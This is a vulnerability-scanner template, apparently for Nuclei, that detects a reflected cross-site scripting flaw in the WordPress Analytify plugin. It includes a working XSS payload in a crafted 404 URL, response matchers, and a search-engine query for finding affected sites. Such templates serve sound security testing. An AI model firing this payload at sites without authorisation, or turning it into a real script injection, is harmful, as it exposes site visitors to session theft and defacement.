漏洞描述
WordPress Analytify 4.2.1 does not escape the current URL before outputting it back in a 404 page when the 404 tracking feature is enabled, leading to reflected cross-site scripting.
id: analytify-plugin-xss
info:
name: Analytify <4.2.1 - Cross-Site Scripting
author: Akincibor
severity: medium
description: |
WordPress Analytify 4.2.1 does not escape the current URL before outputting it back in a 404 page when the 404 tracking feature is enabled, leading to reflected cross-site scripting.
reference:
- https://wpscan.com/vulnerability/b8415ed5-6fd0-42fe-9201-73686c1871c5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cwe-id: CWE-80
cpe: cpe:2.3:a:analytify:analytify_-_google_analytics_dashboard:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
google-query: inurl:/wp-content/plugins/wp-analytify
product: analytify_-_google_analytics_dashboard
vendor: analytify
tags: wp,wordpress,analytify,wpscan,wp-plugin,xss,vuln
http:
- method: GET
path:
- '{{BaseURL}}/aa404bb?a</script><script>alert(/XSS/)</script>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'text/javascript">alert(/XSS/)</script>'
- 'wp-analytify'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 404
# digest: 4a0a00473045022100c24b7cd181bc9d96441b2d60896c8969b56fec2f214336e063e744189fbc2bfe02200b29afe4a7302f57f98bbf7d845ca0ef4bf11420f2a133e1ac065fc1deb69a16:922c64590222798bb761d5b6d8e72950